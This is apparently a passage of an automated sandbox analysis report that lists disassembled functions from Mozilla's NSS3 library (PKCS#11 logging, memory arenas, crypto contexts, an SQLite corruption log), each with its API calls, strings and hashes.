Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC2D22

Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
Part of subcall function 6CBA09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
Part of subcall function 6CBA09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
Part of subcall function 6CBA09D0: free.MOZGLUE(00000000), ref: 6CBA0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC2D3B

Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0BAB
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0BBA
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CAC2D54

Part of subcall function 6CBA09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA0BCB
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0BDE
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0C16

Strings

slotID = 0x%x, xrefs: 6CAC2D02
pPin = 0x%p, xrefs: 6CAC2D1D
pLabel = 0x%p, xrefs: 6CAC2D4F
ulPinLen = %d, xrefs: 6CAC2D36
C_InitToken, xrefs: 6CAC2CE7

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: e400d27dc6254d176a7bac0ef5bff15ff663c0ee50afc72cb46f8375d033e470
Instruction ID: 2f8901b48dd9e4499e03b60909c45a945b187400fd7ee28857ae7efb6beb7c0f
Opcode Fuzzy Hash: e400d27dc6254d176a7bac0ef5bff15ff663c0ee50afc72cb46f8375d033e470
Instruction Fuzzy Hash: B421D3793011C0AFDB01AF54FE8CA993BB5EB52319F088121E51493722DB308D99CB63

Function 6CBA0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CA82357), ref: 6CBA0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CA82357), ref: 6CBA0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBA0EE6

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBA0EFA

Part of subcall function 6CA8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F2B

Strings

Aborting, xrefs: 6CBA0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBA0ED9, 6CBA0EE5, 6CBA0F06, 6CBA0F0B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4f1484c5cfdd2dfe46b83b3a09a7acd77e8178ea501b38ae86fa81a12b99f6ee
Instruction ID: 0be977a3f73f7476379215e569672a62bb06d9610ffe25a0be0c062c08508a77
Opcode Fuzzy Hash: 4f1484c5cfdd2dfe46b83b3a09a7acd77e8178ea501b38ae86fa81a12b99f6ee
Instruction Fuzzy Hash: 06F0C8B59002647BDE013BA0DC49C9B3E3DDF4A7B4F008424FD0957602DA76E92496B3

Function 6CB04DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CB04DCB

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CB04DE1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CB04DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB04E59

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBC300C,00000000), ref: 6CB04EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CB04EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CB04F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB0521A

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d97ef10c4f4d3cbb1211b4d1e2161965a03c4312f41a7929aeb340a57ec19a87
Instruction ID: d431e8de08bb43ecacb8514916998daa1a08ab59271b8c18242f3ee9516ad88f
Opcode Fuzzy Hash: d97ef10c4f4d3cbb1211b4d1e2161965a03c4312f41a7929aeb340a57ec19a87
Instruction Fuzzy Hash: 18F1BC71F002498BDB08CF54D8407AEBBB2FF44358F254129E815ABB81EB75E986CF95

Function 6CB00C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CB02C2A), ref: 6CB00C81

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

Part of subcall function 6CAD8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAD95DC,00000000,00000000,00000000,?,6CAD95DC,00000000,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00CC4

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB00CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CB00D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CB00D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CB00D7D
free.MOZGLUE(00000000), ref: 6CB00DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00DC1
free.MOZGLUE(00000000), ref: 6CB00DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB00E0F

Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95E0
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95F5
Part of subcall function 6CAD95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAD9609
Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD961D
Part of subcall function 6CAD95C0: PK11_GetInternalSlot.NSS3 ref: 6CAD970B
Part of subcall function 6CAD95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAD9756
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?), ref: 6CAD9767
Part of subcall function 6CAD95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAD977E
Part of subcall function 6CAD95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAD978E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 553a506b617271cf2e126c22c1165939e2598e3f40198a03f97337c79e0cdc9d
Instruction ID: c0e7bc7cbded0564194bcf8fca6101b1d626b146b20146e1a8c1ef04fb387274
Opcode Fuzzy Hash: 553a506b617271cf2e126c22c1165939e2598e3f40198a03f97337c79e0cdc9d
Instruction Fuzzy Hash: 7541C4B5A00296ABEB009F64ED45BAF7A74EF44308F140128ED1567741E735AA58CBF2

Function 6CA94FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA9502A
PR_NewLock.NSS3(00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA95034
PL_NewHashTable.NSS3(00000000,6CAEFE80,6CAEFD30,6CB3C350,00000000,00000000,00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA95055
PL_NewHashTable.NSS3(00000000,6CAEFE80,6CAEFD30,6CB3C350,00000000,00000000,?,00000001,00000000,6CBE0148,?,6CAA6FEC), ref: 6CA9506D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 576b85f5a852047888a1d6c09b127501c10ab32a7bbe78d7e305a6fbd0d22c93
Instruction ID: 0f223554030c237511bfcde8ad7526086ff40b4c0dc773416c00089c8785fec9
Opcode Fuzzy Hash: 576b85f5a852047888a1d6c09b127501c10ab32a7bbe78d7e305a6fbd0d22c93
Instruction Fuzzy Hash: 8C31F7B2A412A05BEB14DE69E80FB4B36B89B17749F150214E92583740D334C684CBE6

Function 6CA32E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA32F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CA32FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CA33005
memcpy.VCRUNTIME140(?,?,?), ref: 6CA330EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA33131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA33178

Strings

database corruption, xrefs: 6CA3316C
%s at line %d of [%.10s], xrefs: 6CA33171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA33022, 6CA33156, 6CA33162, 6CA3318A, 6CA33196, 6CA331A2, 6CA331AE, 6CA331BA, 6CA331C6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: ee0bffda17e9e477e6ea1cb387a44bbeb3b2f444baf7213394061d4e9109d58d
Instruction ID: 984955ff52bbf0293ad03e1982dfe430c4cb5e7c8cc6be66177a150476cfc848
Opcode Fuzzy Hash: ee0bffda17e9e477e6ea1cb387a44bbeb3b2f444baf7213394061d4e9109d58d
Instruction Fuzzy Hash: F5B1A470E092259BCF08CF9DC895AEEB7B1BF48304F245169E849F7B45D3749982CBA0

Function 6CB07F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CB07FB2

Part of subcall function 6CA8BA40: TlsGetValue.KERNEL32 ref: 6CA8BA51
Part of subcall function 6CA8BA40: TlsGetValue.KERNEL32 ref: 6CA8BA6B
Part of subcall function 6CA8BA40: EnterCriticalSection.KERNEL32 ref: 6CA8BA83
Part of subcall function 6CA8BA40: TlsGetValue.KERNEL32 ref: 6CA8BAA1
Part of subcall function 6CA8BA40: _PR_MD_UNLOCK.NSS3 ref: 6CA8BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CB07FD4

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CB09430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CB09466

PR_ExitMonitor.NSS3(?), ref: 6CB0801B
PR_EnterMonitor.NSS3(?), ref: 6CB08034
TlsGetValue.KERNEL32 ref: 6CB080A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB080C0
PR_ExitMonitor.NSS3(?), ref: 6CB0811C
PR_ExitMonitor.NSS3(?), ref: 6CB08134

Strings

), xrefs: 6CB080DB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 59a9f2442da6db41872423b644592cba7545c1176d282a3f22d534f9449b43bd
Instruction ID: 5dcef012eb11ac53756ad28b291aab67241e6c37e0aeb20b4da570621f9679cb
Opcode Fuzzy Hash: 59a9f2442da6db41872423b644592cba7545c1176d282a3f22d534f9449b43bd
Instruction Fuzzy Hash: 2C512571B007849BEB219F349C057EBBFB4EF4630CF084529D95957A42EB32AA58C793

Function 6CAAFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CAAFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CAAFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CAAFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAAFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CAAFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CAAFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CAAFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAAFD84

Strings

:, xrefs: 6CAAFD78

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: bced794969f7d4eb80911756558b3a2137f391209acc889297cf720dd6d01d90
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: F93102B29002455BEB058BE4DC00BAF77A8EF5030CF180029DC54A7B00E372E99AC7D2

Function 6CAC6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CAC6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6CA3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAC6CD5

Strings

C_DigestInit, xrefs: 6CAC6C61
(CK_INVALID_HANDLE), xrefs: 6CAC6C9C
pMechanism = 0x%p, xrefs: 6CAC6CD0
hSession = 0x%x, xrefs: 6CAC6C7E, 6CAC6C8E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 60e6a8c50ab73c9a3707f95f4d0ced06eea5d30e7c0b6668baed6a449a960d1a
Instruction ID: 2248c6aa234eafeee249c4c1d00b02805e5857ce2940833fe4239e7199b636c4
Opcode Fuzzy Hash: 60e6a8c50ab73c9a3707f95f4d0ced06eea5d30e7c0b6668baed6a449a960d1a
Instruction Fuzzy Hash: 3321F5357011949BDB00DB64FE88BAE37B5EB42328F484029E81A97B11DF309D8CCB97

Function 6CAC9DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CAC9DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC9E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC9E33

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC9E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CAC9E65

Strings

(CK_INVALID_HANDLE), xrefs: 6CAC9E2C
flags = 0x%x, xrefs: 6CAC9E60
